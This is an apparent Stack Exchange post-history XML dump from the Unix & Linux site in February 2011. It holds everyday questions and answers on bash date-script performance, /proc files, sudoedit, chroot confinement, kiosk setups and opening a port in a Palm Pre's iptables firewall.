  <row Id="19465" PostHistoryTypeId="2" PostId="8278" RevisionGUID="da12fc0a-d167-4e81-87b1-694085582bbe" CreationDate="2011-02-27T09:05:30.833" UserId="5163" Text="Hello,&#xD;&#xA;&#xD;&#xA;I'm trying to configure `OpenCV-2.2.0-win32-vs2010` with `Cygwin` to work together. Any ideas on how can I do that?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19466" PostHistoryTypeId="1" PostId="8278" RevisionGUID="da12fc0a-d167-4e81-87b1-694085582bbe" CreationDate="2011-02-27T09:05:30.833" UserId="5163" Text="OpenCV and Cygwin configuration" />
  <row Id="19467" PostHistoryTypeId="3" PostId="8278" RevisionGUID="da12fc0a-d167-4e81-87b1-694085582bbe" CreationDate="2011-02-27T09:05:30.833" UserId="5163" Text="éconfigurationàécygwinà" />
  <row Id="19471" PostHistoryTypeId="2" PostId="8280" RevisionGUID="d1aeb3d4-c46d-4ac8-ae09-2c6c5c6da7e4" CreationDate="2011-02-27T10:10:33.250" UserId="73" Text="&lt;sub&gt;(Much of this is covered by the [election stats page](http://se.awio.com/election.html))&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;I'm a [pro-tem](http://meta.unix.stackexchange.com/questions/52/moderator-nominations/57#57) mod currently, and rather like doing it. I've been on the site since the private beta, and I'm here pretty continuously throughout the day (1 of 8 [fanatics](http://unix.stackexchange.com/badges/23/fanatic?userid=73), and just over 200 consecutive days now (double fanatic?)), so I handle most of the flags that come in.&#xD;&#xA;&#xD;&#xA;I like the maintenance side of Stack Exchange sites. I'm a [copy editor](http://unix.stackexchange.com/badges/33/copy-editor) on SO, and about 50 edits away here (1 of 5 with [strunk &amp; white](http://unix.stackexchange.com/badges/12/strunk-white?userid=73)). I spend most of my time in the miscellaneous quality tools: the [review](http://unix.stackexchange.com/review) page, flagged posts, posts with close/delete votes (so often empty that I'm tempted to start ignoring that one), tag synonyms, suggested edits, migrated posts, etc.&#xD;&#xA;&#xD;&#xA;I'm on our meta (1 of 6 with [convention](http://unix.stackexchange.com/badges/66/convention?userid=73)), but activity there is pretty limited compared to the other sites. I'm also active on the [main meta](http://meta.stackoverflow.com/users/145982/michael-mrozek) as well, so I generally know when policies have changed or new features have come out. I'm on [chat](http://chat.stackexchange.com/rooms/26/unix-and-linux), for what that's worth; it's at least easy to get my attention if you need something or have a question. I have the second highest rep here, 8k, and 40k network-wide, although rep don't mean much when it comes to choosing a mod other than perhaps indicating how active they are&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Sites that have more nominees than positions (which includes us now) have &quot;town hall chats&quot; so nominees can answer questions, so if you have any questions you can comment here or wait and ask them then" />
  <row Id="19472" PostHistoryTypeId="2" PostId="8281" RevisionGUID="ff7619c3-c6ef-43b8-a55a-37fcf727d687" CreationDate="2011-02-27T10:37:48.343" UserId="591" Text="This script generates a 10 million line 201Mb file in 7m50.0s on a VM I have handy. That's about 1.5Gb/hr.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    Tstart=$(date +%s)&#xD;&#xA;    let Tend=$Tstart+100000000&#xD;&#xA;    &#xD;&#xA;    [ -e datein.txt ] &amp;&amp; rm datein.txt&#xD;&#xA;    [ -e logfile.log ] &amp;&amp; rm logfile.log&#xD;&#xA;    &#xD;&#xA;    for (( Tloop=Tstart; Tloop &lt;=Tend; Tloop++ ))&#xD;&#xA;    do&#xD;&#xA;        echo @$Tloop &gt;&gt; datein.txt&#xD;&#xA;    done&#xD;&#xA;    &#xD;&#xA;    date --file=datein.txt '+%Y-%m-%d %H:%M:%S' &gt;&gt;logfile.log&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19473" PostHistoryTypeId="2" PostId="8282" RevisionGUID="21880cd4-10f6-4b35-84c5-59b6846b3c5d" CreationDate="2011-02-27T10:44:26.210" UserId="5167" Text="All this depends on what package management system your distro uses.&#xD;&#xA;&#xD;&#xA;If you're a debianish user you can use dpkg to get a list of installed packages.&#xD;&#xA;&#xD;&#xA;Redhatesque users can use yum to get a list&#xD;&#xA;&#xD;&#xA;For FreeBSD you can look in /var/db/pkg for a list of packages installed." />
  <row Id="19475" PostHistoryTypeId="2" PostId="8283" RevisionGUID="94c3d87a-6e24-4ed3-8d4d-0eba8955801e" CreationDate="2011-02-27T11:15:38.220" UserId="885" Text="When you read from `/proc`, the kernel generates content on the fly. There is no hard drive involved.&#xD;&#xA;&#xD;&#xA;What you're doing is similar to what any number of monitoring programs do, so I advise you to look at what they're doing. For example, you can see what top does:&#xD;&#xA;&#xD;&#xA;    strace top &gt;/dev/null&#xD;&#xA;&#xD;&#xA;The trace shows that top opens `/proc/uptime`, `/proc/loadavg`, `/proc/stat` and `/proc/meminfo` once and for all. For all these files except `/proc/uptime`, top seeks back to the beginning of the (virtual) file and reads again each time it refreshes its display.&#xD;&#xA;&#xD;&#xA;Most of the data in `/proc/cpuinfo` is constant, but a few fields such as the CPU speed on some machines are updated dynamically.&#xD;&#xA;&#xD;&#xA;The proc filesystem is documented in the kernel documentation, in [`Documentation/filesystems/proc.txt`](http://www.kernel.org/doc/Documentation/filesystems/proc.txt). If you get desperate about some esoteric detail, you can [browse the source](http://lxr.linux.no/#linux+v2.6.37.2/fs/proc/).&#xD;&#xA;" />
  <row Id="19476" PostHistoryTypeId="6" PostId="8274" RevisionGUID="33b73a11-d864-4358-a4dd-63ab8b285339" CreationDate="2011-02-27T11:16:08.750" UserId="885" Comment="edited tags" Text="émonitoringàéprocàésystemöinformationà" />
  <row Id="19478" PostHistoryTypeId="2" PostId="8284" RevisionGUID="26a560c6-acba-4bd7-beca-c1e8152229c5" CreationDate="2011-02-27T11:30:57.557" UserId="885" Text="I haven't made any benchmark, but I see a few potential improvements.&#xD;&#xA;&#xD;&#xA;You open and close the file for each call to `date`. This is a waste: just put the redirection around the whole loop.&#xD;&#xA;&#xD;&#xA;    while …; do …; done &gt;&quot;$file&quot;&#xD;&#xA;&#xD;&#xA;You're making separate calls to `date` for each line. Unix is good at calling external programs quickly, but internal is still better. GNU date has a batch option: feed it dates on standard input, and it pretty-prints them. Furthermore, to enumerate a range of integers, use `seq`, it's likely to be faster than interpreting the loop in the shell.&#xD;&#xA;&#xD;&#xA;    seq -f @%g $secBeg $secEnd | date -f - '+%Y-%m-%d %H:%M:%S' &gt;&quot;$file&quot;&#xD;&#xA;    cnt=$(($secY2 + 1))&#xD;&#xA;&#xD;&#xA;Generally speaking, if your shell script is too slow, try to have the inner loop executed in a dedicated utility — here `seq` and `date`, but often `sed` or `awk`. If you can't manage that, switch to a more advanced scripting language such as Perl or Python (but the dedicated utilities are typically faster, if you fit their use cases).&#xD;&#xA;" />
  <row Id="19479" PostHistoryTypeId="6" PostId="8273" RevisionGUID="9e7947e0-fbb0-4f27-a261-254d95f5d9a4" CreationDate="2011-02-27T11:31:28.620" UserId="885" Comment="edited tags" Text="ébashàétextöprocessingàéperformanceàédateà" />
  <row Id="19480" PostHistoryTypeId="5" PostId="8112" RevisionGUID="605d86d0-c880-42d4-9b09-deb180247a24" CreationDate="2011-02-27T11:32:15.737" UserId="29" Comment="link to the new site" Text="[Kivio][1], as the name kinda implies, is KDE's competitor to Visio. It is a part of the [KOffice][2] suite.&#xD;&#xA;&#xD;&#xA;Note: KOffice, as well as some of its applications were recently renamed. KOffice is now called *Calligra Suite* and Kivio is called [*Calligra Flow*][3]. However, there has not yet been a release since the rename.&#xD;&#xA;  [1]: http://KOffice.Org/kivio/&#xD;&#xA;  [2]: http://KOffice.Org/&#xD;&#xA;  [3]: http://www.calligra-suite.org/flow/" />
  <row Id="19481" PostHistoryTypeId="2" PostId="8285" RevisionGUID="6ec44a4a-ff01-4181-b5b6-93a9dc7cc8d1" CreationDate="2011-02-27T12:14:02.670" UserId="885" Text="First go and read previous threads on this topic: [Moving linux install to a new computer](http://unix.stackexchange.com/questions/2865/moving-linux-install-to-a-new-computer) (about the same-architecture case), and [How do I migrate configuration between computers with different hardware?](http://unix.stackexchange.com/questions/7364/how-do-i-migrate-configuration-between-computers-with-different-hardware/7401#7401). Here I'm going to address a few minor points that weren't covered before.&#xD;&#xA;&#xD;&#xA;If you're moving to a computer with the same architecture, and your disk hasn't died, just move the disk into the new machine. This can be done completely independently of moving the data to a larger disk. Note that “same architecture” here means the processor architecture type, of which there are only two in current PCs: [x86-32](http://en.wikipedia.org/wiki/X86) (a.k.a. i386, ix86, IA-32, …) and [x86-64](http://en.wikipedia.org/wiki/X86-64) (a.k.a. amd64, Intel 64, …). Things like specific chipset or processor variant, video devices, storage interfaces, etc, don't matter here. (If the storage interface is incompatible¹, or if one of the computers is a laptop, you'll have to find an adapter or copy across the network.)&#xD;&#xA;&#xD;&#xA;For backing up in case your drive fails (it's one of the most fragile components), you have two choices:&#xD;&#xA;&#xD;&#xA;* Make a bit-for-bit copy of the whole disk or partition. Then you can restore directly, or even run from the backup in an emergency. If that's your strategy, you'll still want a file-level tool for incremental updates.&#xD;&#xA;* Back up your files. To restore, do a fresh install, then restore the files.&#xD;&#xA;&#xD;&#xA;Your default should be to copy everything, there are very few files that need changing when you move to a new computer. You will have to reinstall the OS (with most current unices) if you move from a 32-bit PC to a 64-bit PC and you want to use the new PC with a 64-bit OS, but otherwise any bad experience you may have had from Windows does not carry over to Linux or other other unices.&#xD;&#xA;&#xD;&#xA;To make it easier to ensure your data is on every computer you use (the old one and the new one, the family desktop PC and your personal laptop, etc.), make sure you customize things in your own home directory rather than at the system level. In Ubuntu or other “user-friendly” terms, this means a customization method where you don't have to enter a password. But do perform the customization at the system level if it's strongly hardware-dependent (e.g. screen resolution).&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;This is largely hypothetical. Most current desktop PCs still have IDE interfaces and are compatible with all general-public internal hard disks since the late 1980s. Surely you've already upgraded all your earlier PCs.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="19482" PostHistoryTypeId="2" PostId="8286" RevisionGUID="6fb1ac0d-aa05-4e20-8ca1-c0ac52ed2843" CreationDate="2011-02-27T12:27:08.590" UserId="5170" Text="I'm a web developer and I'm looking for the best stripped-down linux experience that provides a full-screen experience for touch screens. I'll be looking for:&#xD;&#xA;&#xD;&#xA; - a robust experience that stops people loading up porn or logging out&#xD;&#xA; - booting from USB, CD, HDD or all three if possible&#xD;&#xA; - remote admin (probably via VPN)&#xD;&#xA; - complete screensaver and power-save control&#xD;&#xA; - the ability to hide cursors&#xD;&#xA; - an onscreen keyboard, usually web-based for the customer but a native version for admin&#xD;&#xA; - the ability to autorun 3D fullscreen apps such as Blender games&#xD;&#xA; - possibly multi-touch functionality in the future but this isn't a deal-breaker&#xD;&#xA;&#xD;&#xA;My favourite options at the moment are:&#xD;&#xA;&#xD;&#xA; - [SLAX][1]&#xD;&#xA; - Webconverger&#xD;&#xA;&#xD;&#xA;This [kiosk project][2] looks worth using too.&#xD;&#xA;&#xD;&#xA;Could I get some recommendations for the best configuration please? Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webcache.googleusercontent.com/search?q=cache:UMUYQAMpwZsJ:www.ehartwell.com/InfoDabble/HowTo:_Create_a_boot-from-CD_browser_kiosk_with_Firefox_and_Linux+create+a+linux+kiosk&amp;cd=1&amp;hl=en&amp;ct=clnk&amp;gl=uk&amp;source=www.google.co.uk&#xD;&#xA;  [2]: http://kiosk.mozdev.org/" />
  <row Id="19483" PostHistoryTypeId="1" PostId="8286" RevisionGUID="6fb1ac0d-aa05-4e20-8ca1-c0ac52ed2843" CreationDate="2011-02-27T12:27:08.590" UserId="5170" Text="What is the best touch screen kiosk solution?" />
  <row Id="19484" PostHistoryTypeId="3" PostId="8286" RevisionGUID="6fb1ac0d-aa05-4e20-8ca1-c0ac52ed2843" CreationDate="2011-02-27T12:27:08.590" UserId="5170" Text="éusbàéfirefoxàécdàévpnà" />
  <row Id="19485" PostHistoryTypeId="2" PostId="8287" RevisionGUID="41d4ebe9-c462-4edb-8337-f6f388839927" CreationDate="2011-02-27T12:29:36.967" UserId="5171" Text=" - i've tried: &quot;gksudo gedit /etc/xinetd.d/tftp&quot;&#xD;&#xA;- (this is the path i need)- &amp; got an error message- &quot;couldn't find the file /etc/xinetd.d/tftp please check that you typed the location correctly and try again&quot;- what do i need to do? " />
  <row Id="19486" PostHistoryTypeId="1" PostId="8287" RevisionGUID="41d4ebe9-c462-4edb-8337-f6f388839927" CreationDate="2011-02-27T12:29:36.967" UserId="5171" Text="How to create a new file?" />
  <row Id="19487" PostHistoryTypeId="3" PostId="8287" RevisionGUID="41d4ebe9-c462-4edb-8337-f6f388839927" CreationDate="2011-02-27T12:29:36.967" UserId="5171" Text="éubuntuà" />
  <row Id="19488" PostHistoryTypeId="2" PostId="8288" RevisionGUID="e99670b1-4391-41fe-a441-27983cf8c9cf" CreationDate="2011-02-27T12:35:57.197" UserId="5130" Text="I am creating a web app similar to codepad and for each run-action my app copies a directory (`/home/radeks/voidptr/private/chroot-root`) to `/tmp/voidptr/[random-id]/chroot-root`. This chroot directory has a user that compiles and runs the code entered by the web app user. The problem is that I don't want the user to shut down the machine or use sockets for example.&#xD;&#xA;&#xD;&#xA;Do I need to write a supervisor or can I simply set these permissions per user?" />
  <row Id="19489" PostHistoryTypeId="1" PostId="8288" RevisionGUID="e99670b1-4391-41fe-a441-27983cf8c9cf" CreationDate="2011-02-27T12:35:57.197" UserId="5130" Text="How to disable certain system calls for a given user?" />
  <row Id="19490" PostHistoryTypeId="3" PostId="8288" RevisionGUID="e99670b1-4391-41fe-a441-27983cf8c9cf" CreationDate="2011-02-27T12:35:57.197" UserId="5130" Text="élinuxàépermissionsàéusersàéchrootà" />
  <row Id="19491" PostHistoryTypeId="2" PostId="8289" RevisionGUID="88bc020a-ee2e-4987-8a93-1bd02574044f" CreationDate="2011-02-27T12:53:43.323" UserId="885" Text="My version of gedit (2.22.3) does create the file if it doesn't exist. If yours doesn't, you can create the file first with `sudo touch /etc/xinetd.d/tftp`.&#xD;&#xA;&#xD;&#xA;I recommend using `sudoedit /etc/xinetd.d/tftp` instead. This uses your favorite editor, taken from the `EDITOR` [environment variable](https://help.ubuntu.com/community/EnvironmentVariables), or a system default if you haven't expressed your preference. Add `export EDITOR=/usr/bin/gedit` to your `~/.profile` if necessary.&#xD;&#xA;&#xD;&#xA;See also [How do I run a command as the system administrator (root)](http://unix.stackexchange.com/questions/3063/how-do-i-run-a-command-as-the-system-administrator-root).&#xD;&#xA;" />
  <row Id="19492" PostHistoryTypeId="6" PostId="8287" RevisionGUID="cc2d93c1-94f8-4439-9492-90761e691764" CreationDate="2011-02-27T12:53:55.897" UserId="885" Comment="title; formatting" Text="éubuntuàésudoàégedità" />
  <row Id="19493" PostHistoryTypeId="5" PostId="8287" RevisionGUID="cc2d93c1-94f8-4439-9492-90761e691764" CreationDate="2011-02-27T12:53:55.897" UserId="885" Comment="title; formatting" Text="I've tried: `gksudo gedit /etc/xinetd.d/tftp` (this is the path i need). I got an error message:&#xD;&#xA;&#xD;&#xA;    couldn't find the file /etc/xinetd.d/tftp&#xD;&#xA;    please check that you typed the location correctly and try again&#xD;&#xA;&#xD;&#xA;What do i need to do?&#xD;&#xA;" />
  <row Id="19494" PostHistoryTypeId="4" PostId="8287" RevisionGUID="cc2d93c1-94f8-4439-9492-90761e691764" CreationDate="2011-02-27T12:53:55.897" UserId="885" Comment="title; formatting" Text="How to create a new file and edit it as root?" />
  <row Id="19495" PostHistoryTypeId="2" PostId="8290" RevisionGUID="05a1d0da-a4c3-4e11-91b7-fe0ae2a24337" CreationDate="2011-02-27T13:00:30.853" UserId="885" Text="Chroot only restricts filesystem access. If you have root permissions, a chroot is merely an inconvenience, not a secure confinement. Ordinary users can use sockets but not shut down the machine.&#xD;&#xA;&#xD;&#xA;There are ways to restrict what users can do: capabilities, AppArmor, SELinux, … But by far the easiest way is to confine the webapp user to a virtual machine. You will easily be able to restrict things like network connectivity and resource usage. For your use case, a lightweight Linux-on-Linux vm technology seems best: something like [OpenVZ](http://en.wikipedia.org/wiki/OpenVZ), [user-mode Linux](http://en.wikipedia.org/wiki/User_mode_Linux) or [Vserver](http://en.wikipedia.org/wiki/Linux-VServer).&#xD;&#xA;" />
  <row Id="19496" PostHistoryTypeId="5" PostId="8284" RevisionGUID="8898435e-30c8-44e9-be32-6c452ac923ca" CreationDate="2011-02-27T13:28:13.867" UserId="885" Comment="fixed seq format to cope with numbers in the 1e9..1e12 range (beware s1T bug!)" Text="I haven't made any benchmark, but I see a few potential improvements.&#xD;&#xA;&#xD;&#xA;You open and close the file for each call to `date`. This is a waste: just put the redirection around the whole loop.&#xD;&#xA;&#xD;&#xA;    while …; do …; done &gt;&quot;$file&quot;&#xD;&#xA;&#xD;&#xA;You're making separate calls to `date` for each line. Unix is good at calling external programs quickly, but internal is still better. GNU date has a batch option: feed it dates on standard input, and it pretty-prints them. Furthermore, to enumerate a range of integers, use `seq`, it's likely to be faster than interpreting the loop in the shell.&#xD;&#xA;&#xD;&#xA;    seq -f @%12.0f $secBeg $secEnd | date -f - '+%Y-%m-%d %H:%M:%S' &gt;&quot;$file&quot;&#xD;&#xA;    cnt=$(($secY2 + 1))&#xD;&#xA;&#xD;&#xA;Generally speaking, if your shell script is too slow, try to have the inner loop executed in a dedicated utility — here `seq` and `date`, but often `sed` or `awk`. If you can't manage that, switch to a more advanced scripting language such as Perl or Python (but the dedicated utilities are typically faster, if you fit their use cases).&#xD;&#xA;" />
  <row Id="19497" PostHistoryTypeId="25" PostId="8288" RevisionGUID="f3f7a8fd-0d3b-411d-9aaa-3fa315abd4b2" CreationDate="2011-02-27T14:23:29.330" Comment="http://twitter.com/#!/StackUnix/status/41866009946226688" />
  <row Id="19498" PostHistoryTypeId="5" PostId="8270" RevisionGUID="83281292-b081-42ce-8635-b77b816609d1" CreationDate="2011-02-27T15:37:25.107" UserId="3312" Comment="diag details added" Text="I have a Palm Pre, and I've installed my webserver on it, it listens on port 8080. It works, when I open 192.168.1.104:8080 on the Pre's browser (that's the IP address of the device, I've failed with localhost or 127.0.0.1), it shows images, everything is OK.&#xD;&#xA;&#xD;&#xA;But I can't access the webserver from outside, e.g. from my desktop machine, it shows timeout. Is there a firewall on the Pre, or what's wrong? I can change server's port number, if necessary. I didn't configured the Pre, just installed SSH. Also, I can SSH to Pre, and from Pre to my desktop.&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;*ifconfig* says:&#xD;&#xA;&#xD;&#xA;    eth0      Link encap:Ethernet  HWaddr 00:1D:FE:B5:99:51  &#xD;&#xA;              inet addr:192.168.1.104  Bcast:192.168.255.255  Mask:255.255.0.0&#xD;&#xA;              UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xD;&#xA;              RX packets:486 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:284 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:1000 &#xD;&#xA;              RX bytes:69398 (67.7 KiB)  TX bytes:40051 (39.1 KiB)&#xD;&#xA;    &#xD;&#xA;    lo        Link encap:Local Loopback  &#xD;&#xA;              inet addr:127.0.0.1  Mask:255.0.0.0&#xD;&#xA;              UP LOOPBACK RUNNING  MTU:16436  Metric:1&#xD;&#xA;              RX packets:1248 errors:0 dropped:0 overruns:0 frame:0&#xD;&#xA;              TX packets:1248 errors:0 dropped:0 overruns:0 carrier:0&#xD;&#xA;              collisions:0 txqueuelen:0 &#xD;&#xA;              RX bytes:128070 (125.0 KiB)  TX bytes:128070 (125.0 KiB)&#xD;&#xA;&#xD;&#xA;*iptables -nvL* says:&#xD;&#xA;&#xD;&#xA;    Chain INPUT (policy DROP 0 packets, 0 bytes)&#xD;&#xA;     pkts bytes target     prot opt in     out     source               destination         &#xD;&#xA;      370 29404 ACCEPT     tcp  --  eth0   *       0.0.0.0/0            0.0.0.0/0           tcp dpt:22 &#xD;&#xA;     1248  128K ALLOWED_PACKETS  all  --  lo     *       0.0.0.0/0            0.0.0.0/0           &#xD;&#xA;        0     0 INVALID_PACKETS  all  --  !lo    *       127.0.0.0/8          0.0.0.0/0           &#xD;&#xA;        0     0 REJECT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:113 flags:0x17/0x02 state NEW reject-with tcp-reset &#xD;&#xA;        0     0 DROP       tcp  --  bridge0 *       0.0.0.0/0            0.0.0.0/0           tcp dpts:4444:4445 &#xD;&#xA;       47 28580 ALLOWED_PACKETS  all  --  *      *       0.0.0.0/0            0.0.0.0/0           state RELATED,ESTABLISHED &#xD;&#xA;        0     0 ALLOWED_PACKETS  all  --  bridge0 *       0.0.0.0/0            0.0.0.0/0           &#xD;&#xA;        0     0 ALLOWED_PACKETS  all  --  usb0   *       0.0.0.0/0            0.0.0.0/0           &#xD;&#xA;        0     0 ALLOWED_PACKETS  icmp --  *      *       0.0.0.0/0            0.0.0.0/0           icmp type 0 state NEW &#xD;&#xA;        0     0 ALLOWED_PACKETS  icmp --  *      *       0.0.0.0/0            0.0.0.0/0           limit: avg 1/sec burst 5 icmp type 0 &#xD;&#xA;        0     0 ALLOWED_PACKETS  icmp --  *      *       0.0.0.0/0            0.0.0.0/0           icmp type 3 state NEW &#xD;&#xA;        0     0 ALLOWED_PACKETS  icmp --  *      *       0.0.0.0/0            0.0.0.0/0           limit: avg 1/sec burst 5 icmp type 3 &#xD;&#xA;        0     0 ALLOWED_PACKETS  icmp --  *      *       0.0.0.0/0            0.0.0.0/0           icmp type 4 state NEW &#xD;&#xA;        0     0 ALLOWED_PACKETS  icmp --  *      *       0.0.0.0/0            0.0.0.0/0           limit: avg 1/sec burst 5 icmp type 4 &#xD;&#xA;        0     0 ALLOWED_PACKETS  icmp --  *      *       0.0.0.0/0            0.0.0.0/0           icmp type 5 state NEW &#xD;&#xA;        0     0 ALLOWED_PACKETS  icmp --  *      *       0.0.0.0/0            0.0.0.0/0           limit: avg 1/sec burst 5 icmp type 5 &#xD;&#xA;        3   252 ICMPFLOOD  icmp --  *      *       0.0.0.0/0            0.0.0.0/0           icmp type 8 state NEW &#xD;&#xA;        0     0 ALLOWED_PACKETS  icmp --  *      *       0.0.0.0/0            0.0.0.0/0           icmp type 11 state NEW &#xD;&#xA;        0     0 ALLOWED_PACKETS  icmp --  *      *       0.0.0.0/0            0.0.0.0/0           limit: avg 1/sec burst 5 icmp type 11 &#xD;&#xA;        0     0 ALLOWED_PACKETS  tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:5353 &#xD;&#xA;        0     0 ALLOWED_PACKETS  udp  --  *      *       0.0.0.0/0            0.0.0.0/0           udp dpt:5353 &#xD;&#xA;        0     0 ALLOWED_PACKETS  tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:3689 &#xD;&#xA;        0     0 ALLOWED_PACKETS  udp  --  *      *       0.0.0.0/0            0.0.0.0/0           udp dpt:3689 &#xD;&#xA;        0     0 ALLOWED_PACKETS  tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp flags:0x04/0x04 &#xD;&#xA;       36  4604 LOG        all  --  *      *       0.0.0.0/0            0.0.0.0/0           limit: avg 3/sec burst 5 LOG flags 0 level 7 prefix `IPT_PACKET_DROPPED_NO_MATCH: ' &#xD;&#xA;       36  4604 QUEUE      all  --  *      *       0.0.0.0/0            0.0.0.0/0           &#xD;&#xA;    &#xD;&#xA;    Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)&#xD;&#xA;     pkts bytes target     prot opt in     out     source               destination         &#xD;&#xA;        0     0 INVALID_PACKETS  all  --  *      *       0.0.0.0/0            0.0.0.0/0           state INVALID &#xD;&#xA;    &#xD;&#xA;    Chain OUTPUT (policy ACCEPT 1541 packets, 166K bytes)&#xD;&#xA;     pkts bytes target     prot opt in     out     source               destination         &#xD;&#xA;    &#xD;&#xA;    Chain ALLOWED_PACKETS (20 references)&#xD;&#xA;     pkts bytes target     prot opt in     out     source               destination         &#xD;&#xA;     1298  157K ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0           &#xD;&#xA;    &#xD;&#xA;    Chain ICMPFLOOD (1 references)&#xD;&#xA;     pkts bytes target     prot opt in     out     source               destination         &#xD;&#xA;        3   252            all  --  *      *       0.0.0.0/0            0.0.0.0/0           recent: SET name: ICMP side: source &#xD;&#xA;        0     0 LOG        all  --  *      *       0.0.0.0/0            0.0.0.0/0           recent: UPDATE seconds: 1 hit_count: 6 TTL-Match name: ICMP side: source limit: avg 1/sec burst 1 LOG flags 0 level 4 prefix `IPT_ICMPFLOOD: ' &#xD;&#xA;        0     0 DROP       all  --  *      *       0.0.0.0/0            0.0.0.0/0           recent: UPDATE seconds: 1 hit_count: 6 TTL-Match name: ICMP side: source &#xD;&#xA;        3   252 ALLOWED_PACKETS  all  --  *      *       0.0.0.0/0            0.0.0.0/0           &#xD;&#xA;    &#xD;&#xA;    Chain INVALID_PACKETS (2 references)&#xD;&#xA;     pkts bytes target     prot opt in     out     source               destination         &#xD;&#xA;        0     0 LOG        all  --  *      *       0.0.0.0/0            0.0.0.0/0           limit: avg 1/sec burst 100 LOG flags 0 level 4 prefix `IPT_INVALID_PACKETS_DROPPED: ' &#xD;&#xA;        0     0 DROP       all  --  *      *       0.0.0.0/0            0.0.0.0/0           &#xD;&#xA;&#xD;&#xA;I assume, TCP should be accepted for port 8080 or whatever I want, just as for 22 (SSH)." />
  <row Id="19499" PostHistoryTypeId="2" PostId="8291" RevisionGUID="a8c52629-8787-4d31-a1ab-b6d7be051a35" CreationDate="2011-02-27T16:32:23.903" UserId="645" Text="Hi everybody,&#xD;&#xA;I have an Ubuntu Server 10.04 installation on Linode. I am trying to use ssh-agent to stop typing my passphrase everytime I need to push some changes to GitHub. I am using the script provided by GitHub [here](http://help.github.com/working-with-key-passphrases/). But when I source my `.zshrc` file or when I logout and log back in I get the following error message:&#xD;&#xA;&#xD;&#xA;    Could not open a connection to your authentication agent.&#xD;&#xA;    Error: Can't open display: (null)&#xD;&#xA;&#xD;&#xA;Does anyone know what the the problem might be and how I could fix it please?" />
  <row Id="19500" PostHistoryTypeId="1" PostId="8291" RevisionGUID="a8c52629-8787-4d31-a1ab-b6d7be051a35" CreationDate="2011-02-27T16:32:23.903" UserId="645" Text="ssh-agent error on ubuntu server 10.04 LTS" />
  <row Id="19501" PostHistoryTypeId="3" PostId="8291" RevisionGUID="a8c52629-8787-4d31-a1ab-b6d7be051a35" CreationDate="2011-02-27T16:32:23.903" UserId="645" Text="éubuntuàésshàéserverà" />
  <row Id="19502" PostHistoryTypeId="2" PostId="8292" RevisionGUID="d4121cca-9629-4aa6-bd96-1e672fd5a238" CreationDate="2011-02-27T16:45:47.387" UserId="-1" Text="" />
  <row Id="19503" PostHistoryTypeId="2" PostId="8293" RevisionGUID="0985ec65-40f3-4f5d-9144-bdcdf52cd51b" CreationDate="2011-02-27T16:45:47.387" UserId="-1" Text="" />
  <row Id="19504" PostHistoryTypeId="2" PostId="8294" RevisionGUID="fe0b44f3-8216-432f-8717-c5e4249b015a" CreationDate="2011-02-27T16:53:20.233" UserId="885" Text="At the moment, incoming traffic is blocked unless explicitly allowed (that's what `policy DROP` means). There are rules to allow “legitimate” traffic, for example the very first rule allows incoming ssh connections (`tcp dpt:22` means TCP traffic to port 22, and that's the ssh port).&#xD;&#xA;&#xD;&#xA;The manual way to enable a web server is add an iptables rule that allows incoming traffic to that port. Let's say you want to open port 80. You can to it with the following command:&#xD;&#xA;&#xD;&#xA;    iptables -I INPUT 24 -p tcp --dport 80 -j ALLOWED_PACKETS&#xD;&#xA;&#xD;&#xA;(Note that I'm following the model of ports 3689 and 5353, which allow for things like rate control. Ssh is handled specially, I guess to reduce the risk that a misconfiguration will make it inaccessible.)&#xD;&#xA;&#xD;&#xA;There's probably a canonical way to have your settings applied at boot time. Googling [suggests](http://www.webos-internals.org/wiki/Research_iptables_configuration_recommendations) that once you have a satisfactory setting, you can make it permanent with&#xD;&#xA;&#xD;&#xA;    iptables-save &gt;/etc/pmnetconfig/iptables-common.config&#xD;&#xA;&#xD;&#xA;I don't know WebOS, so I can't confirm the location of this file.&#xD;&#xA;&#xD;&#xA;During your experimentations, if you mess up, you can delete a specific rule (e.g. the 42nd) with `iptables -D INPUT 42`. Assuming the location above is correct, you can restore the boot-time settings with &#xD;&#xA;&#xD;&#xA;    iptables-restore &lt;/etc/pmnetconfig/iptables-common.config&#xD;&#xA;" />
  <row Id="19505" PostHistoryTypeId="5" PostId="8292" RevisionGUID="4380d0b4-8873-474e-b2a6-ea955ea49d55" CreationDate="2011-02-27T16:55:53.960" UserId="591" Comment="added 568 characters in body" Text="`date` is a command line utility for printing or setting the system date and time. The base date (epoch) used for calculations and conversions is 00:00:00 UTC on 1 January 1970. Date can also be used to print a given date and time in a variety of formats e.g.&#xD;&#xA;&#xD;&#xA;`date` outputs the current time e.g. Sun Feb 27 16:31:59 GMT 2011&lt;br&gt;&#xD;&#xA;`date '+%Y-%m-%d %H:%M:%S'` outputs 2011-02-27 16:33:22&lt;br&gt;&#xD;&#xA;`date -d @1298824473` adds @&lt;seconds&gt; to output  Sun Feb 27 16:34:33 GMT 2011&lt;br&gt;&#xD;&#xA;`date -s &quot;Sun Feb 27 16:34:33 GMT 2011&quot; with suitable privilege will set the system date. " />
  <row Id="19506" PostHistoryTypeId="24" PostId="8292" RevisionGUID="4380d0b4-8873-474e-b2a6-ea955ea49d55" CreationDate="2011-02-27T16:55:53.960" Comment="Proposed by 591 approved by 885 edit id of 163" />
